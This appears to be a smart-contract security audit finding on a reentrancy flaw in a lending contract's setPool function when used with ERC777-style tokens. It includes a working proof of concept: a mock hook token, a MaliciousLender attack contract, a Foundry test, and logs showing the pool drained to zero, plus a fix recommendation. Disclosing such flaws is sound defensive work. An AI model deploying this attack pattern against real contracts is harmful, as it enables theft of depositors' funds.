Summary
Due to the lack of reentrancy guard in the code, if the token is an ERC777, the lender can be drained
Vulnerability Details
function setPool(Pool calldata p) public returns (bytes32 poolId) {
if (
p.lender != msg.sender ||
p.minLoanSize == 0 ||
p.maxLoanRatio == 0 ||
p.auctionLength == 0 ||
p.auctionLength > MAX_AUCTION_LENGTH ||
p.interestRate > MAX_INTEREST_RATE
) revert PoolConfig();
poolId = getPoolId(p.lender, p.loanToken, p.collateralToken);
if (p.outstandingLoans != pools[poolId].outstandingLoans)
revert PoolConfig();
uint256 currentBalance = pools[poolId].poolBalance;
if (p.poolBalance > currentBalance) {
IERC20(p.loanToken).transferFrom(
p.lender,
address(this),
p.poolBalance - currentBalance
);
} else if (p.poolBalance < currentBalance) {
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance
);
}
emit PoolBalanceUpdated(poolId, p.poolBalance);
if (pools[poolId].lender == address(0)) {
emit PoolCreated(poolId, p);
} else {
emit PoolUpdated(poolId, p);
}
pools[poolId] = p;
}
As you can see, due to the lack of reentrancy guard in the setPool function, a malicious user can exploit this with a reentrancy attack and steal all funds
the vulerability is in the line 157
} else if (p.poolBalance < currentBalance) {
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance
);
}
a malicious lender can provided p.balance less than the currentBalance and once the transfer is ok reentran again and again.
here a test for demostration.
first the mock erc777.
by test proposition only simulate the hook
interface IERC777Recipient{
function tokensReceived() external;
}
contract mockERC777 is ERC20 {
constructor()ERC20("sas","asdas"){}
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to,_amount);
}
function transfer(address to, uint256 amount) public override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
IERC777Recipient(to).tokensReceived();
return true;
}
}
then the maliciouslender contract
contract MaliciousLender{
Lender lender;
address loanToken;
address CollateralToken;
constructor (address _lender,address _loantoken,address _collateraltoken){
lender = Lender(_lender);
loanToken= _loantoken;
CollateralToken = _collateraltoken;
}
function attack() public {
Pool memory p = Pool({
lender: address(this),
loanToken: loanToken,
collateralToken: CollateralToken,
minLoanSize: 100*10**18,
poolBalance: 0,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
}
function set_pool() public{
Pool memory p = Pool({
lender: address(this),
loanToken: loanToken,
collateralToken: CollateralToken,
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
IERC20(p.loanToken).approve(address(lender),type(uint256).max);
lender.setPool(p);
}
function tokensReceived() external {
uint256 balance = IERC20(loanToken).balanceOf(address(lender));
if(balance > 0)
{
Pool memory p = Pool({
lender: address(this),
loanToken: loanToken,
collateralToken: CollateralToken,
minLoanSize: 100*10**18,
poolBalance: 0,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
}
}
}
then add in setup
+ mockERC777 tokenERC777;
+ MaliciousLender maliciouslender;
Lender lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
address public attacker = address(0x5);
function setUp() public {
tokenERC777 = new mockERC777();
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
maliciouslender = new MaliciousLender(address(lender),address(tokenERC777),address(collateralToken));
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
tokenERC777.mint(address(attacker), 100000*10**18);
tokenERC777.mint(address(lender1), 100000*10**18);
tokenERC777.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.stopPrank();
}
then the test
function test_erc777_createPool() public {
vm.startPrank(lender2);
tokenERC777.approve(address(lender),type(uint256).max);
Pool memory p = Pool({
lender: lender2,
loanToken: address(tokenERC777),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.stopPrank();
vm.startPrank(lender1);
tokenERC777.approve(address(lender),type(uint256).max);
p = Pool({
lender: lender1,
loanToken: address(tokenERC777),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.stopPrank();
console.log("balance erc777 lender contract before attack",tokenERC777.balanceOf(address(lender)));
vm.startPrank(attacker);
tokenERC777.transfer(address(maliciouslender),1000*10**18);
maliciouslender.set_pool();
maliciouslender.attack();
vm.stopPrank();
console.log("balance erc777 lender contract after attack",tokenERC777.balanceOf(address(lender)));
}
and the resul of the test
Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_erc777_createPool() (gas: 781040)
Logs:
balance erc777 lender contract before attack 2000000000000000000000
balance erc777 lender contract after attack 0
Test result: ok. 1 passed; 0 failed; finished in 1.56s
Impact
lender.sol can be drained
Tools Used
manual review
Recommendations
add reentrancyGuard